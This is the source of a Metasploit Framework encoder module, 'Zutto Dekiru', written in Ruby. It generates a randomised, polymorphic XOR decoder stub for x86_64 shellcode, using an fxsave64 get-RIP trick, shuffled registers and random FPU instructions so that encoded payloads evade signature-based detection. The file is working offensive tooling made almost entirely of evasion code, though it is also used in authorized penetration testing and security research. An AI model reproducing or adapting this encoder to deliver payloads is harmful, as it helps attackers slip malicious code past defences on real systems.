metasploit-framework/modules/encoders/x64/zutto_dekiru.rb

require 'metasm'
require 'msf/core'
require 'rex/nop/opty2'

class MetasploitModule < Msf::Encoder::Xor

  Rank = ManualRanking

  def initialize
    super(
      'Name'             => 'Zutto Dekiru',
      'Version'          => '$Revision: 14774 $',
      'Description'      => 'Inspired by shikata_ga_nai using fxsave64 to work under x86_64 systems.',
      'Author'           => 'agix',
      'Arch'             => ARCH_X86_64,
      'License'          => MSF_LICENSE,
      'EncoderType'      => Msf::Encoder::Type::Raw,
      'Decoder'          =>
      {
        'KeySize'    => 8,
        'KeyPack'    => 'Q'
      }
    )
  end

  @@cpu64 = Metasm::X86_64.new
  def assemble(src, cpu=@@cpu64)
    Metasm::Shellcode.assemble(cpu, src).encode_string
  end


  def fxsave64(reg)
    case reg
    when "rax"
      return "\x48\x0f\xae\x00"
    when "rbx"
      return "\x48\x0f\xae\x03"
    when "rcx"
      return "\x48\x0f\xae\x01"
    when "rdx"
      return "\x48\x0f\xae\x02"
    when "rsi"
      return "\x48\x0f\xae\x06"
    when "rdi"
      return "\x48\x0f\xae\x07"
    when "rbp"
      return "\x48\x0f\xae\x45\x00"
    when "r8"
      return "\x49\x0f\xae\x00"
    when "r9"
      return "\x49\x0f\xae\x01"
    when "r10"
      return "\x49\x0f\xae\x02"
    when "r11"
      return "\x49\x0f\xae\x03"
    when "r12"
      return "\x49\x0f\xae\x04\x24"
    when "r13"
      return "\x49\x0f\xae\x45\x00"
    when "r14"
      return "\x49\x0f\xae\x06"
    when "r15"
      return "\x49\x0f\xae\x07"
    end
  end

  def nop(length,save_registers=[])
    test = Rex::Nop::Opty2.new('',save_registers)
    return test.generate_sled(length)
  end

  # Indicate that this module can preserve some registers
  def can_preserve_registers?
    true
  end
  #
  # Returns the set of FPU instructions that can be used for the FPU block of
  # the decoder stub.
  #
  def fpu_instructions
    fpus = []

    0xe8.upto(0xee) { |x| fpus << "\xd9" + x.chr }
    0xc0.upto(0xcf) { |x| fpus << "\xd9" + x.chr }
    0xc0.upto(0xdf) { |x| fpus << "\xda" + x.chr }
    0xc0.upto(0xdf) { |x| fpus << "\xdb" + x.chr }
    0xc0.upto(0xc7) { |x| fpus << "\xdd" + x.chr }

    fpus << "\xd9\xd0"
    fpus << "\xd9\xe1"
    fpus << "\xd9\xf6"
    fpus << "\xd9\xf7"
    fpus << "\xd9\xe5"

    # This FPU instruction seems to fail consistently on Linux
    #fpus << "\xdb\xe1"

    fpus
  end

  def rand_string(length)
    o = [('0'..'9'),('a'..'z'),('A'..'Z')].map{|i| i.to_a}.flatten;
    string = (0..(length-1)).map{ o[rand(o.length)] }.join;

    return string
  end

  def xor_string(text,key)
    text.length.times {|n| text[n] = (text[n].ord^key[n.modulo(key.length)].ord).chr }
    return text
  end


  def ordered_random_merge(a,b)
    a, b = a.dup, b.dup
    a.map{rand(b.size+1)}.sort.reverse.each do |index|
      b.insert(index, a.pop)
    end
    b
  end

  def encode_block(state, block)
    allowedReg = [
      ["rax",  "eax",  "ax",   "al"  ],
      ["rbx",  "ebx",  "bx",   "bl"  ],
      ["rcx",  "ecx",  "cx",   "cl"  ],
      ["rdx",  "edx",  "dx",   "dl"  ],
      ["rsi",  "esi",  "si",   "sil" ],
      ["rdi",  "edi",  "di",   "dil" ],
      ["rbp",  "ebp",  "bp",   "bpl" ],
      ["r8",   "r8d",  "r8w",  "r8b" ],
      ["r9",   "r9d",  "r9w",  "r9b" ],
      ["r10",  "r10d", "r10w", "r10b"],
      ["r11",  "r11d", "r11w", "r11b"],
      ["r12",  "r12d", "r12w", "r12b"],
      ["r13",  "r13d", "r13w", "r13b"],
      ["r14",  "r14d", "r14w", "r14b"],
      ["r15",  "r15d", "r15w", "r15b"],
    ]
    allowedReg.delete_if { |reg| if datastore['SaveRegisters']; datastore['SaveRegisters'].include?(reg.first); end }
    allowedReg.shuffle!

    if block.length%8 != 0
      block += nop(8-(block.length%8))
    end

    regType = 3

    if (block.length/8) > 0xff
      regType=2
    end

    if (block.length/8) > 0xffff
      regType=1
    end

    if (block.length/8) > 0xffffffff
      regType=0
    end

    regKey  = allowedReg[0][0]
    regSize = allowedReg[3]
    regRip  = allowedReg[1][0]
    regEnv  = allowedReg[2]

    flipCoin = rand(2)

    fpuOpcode = Rex::Poly::LogicalBlock.new('fpu',
                                            *fpu_instructions)

    fpu = []
    fpu << ["fpu",fpuOpcode.generate([], nil, state.badchars)]

    sub = (rand(0xd00)&0xfff0)+0xf000
    lea = []
    if flipCoin==0
      lea << ["lea",  assemble("mov %s, rsp"%regEnv[0])]
      lea << ["lea1", assemble("and "+regEnv[2]+", 0x%x"%sub)]
    else
      lea << ["lea",  assemble("push rsp")]
      lea << ["lea1", assemble("pop "+regEnv[0])]
      lea << ["lea2", assemble("and "+regEnv[2]+", 0x%x"%sub)]
    end

    fpuLea = ordered_random_merge(fpu, lea)
    fpuLea << ["fpu1", fxsave64(regEnv[0])] # fxsave64 doesn't seem to exist in metasm

    keyIns = [["key",  assemble("mov "+regKey+", 0x%x"%state.key)]]

    size = []
    size << ["size",assemble("xor "+regSize[0]+", "+regSize[0])]
    size << ["size", assemble("mov "+regSize[regType]+", 0x%x"% (block.length/8))]

    getrip=0

    a = ordered_random_merge(size, keyIns)
    decodeHeadTab = ordered_random_merge(a, fpuLea)

    decodeHeadTab.length.times { |i| getrip=i if decodeHeadTab[i][0]=="fpu"}

    decodeHead = decodeHeadTab.map { |j,i| i.to_s }.join

    flipCoin = rand(2)

    if flipCoin==0
      decodeHead += assemble("mov "+regRip+", ["+regEnv[0]+" + 0x8]")
    else
      decodeHead += assemble("add "+regEnv[0]+", 0x8")
      decodeHead += assemble("mov "+regRip+", ["+regEnv[0]+"]")
    end


    decodeHeadSize=decodeHead.length
    getrip.times { |i| decodeHeadSize-=decodeHeadTab[i][1].length }

    loopCode =  assemble("dec "+regSize[0])
    loopCode += assemble("xor ["+regRip+"+("+regSize[0]+"*8) + 0x7f], "+regKey)
    loopCode += assemble("test "+regSize[0]+", "+regSize[0])

    payloadOffset = decodeHeadSize+loopCode.length+2

    loopCode =  assemble("dec "+regSize[0])
    loopCode += assemble("xor ["+regRip+"+("+regSize[0]+"*8) + 0x"+payloadOffset.to_s(16)+"], "+regKey)
    loopCode += assemble("test "+regSize[0]+", "+regSize[0])

    jnz = "\x75"+(0x100-(loopCode.length+2)).chr

    decode = decodeHead+loopCode+jnz
    encode = xor_string(block, [state.key].pack('Q'))

    return decode + encode
  end


end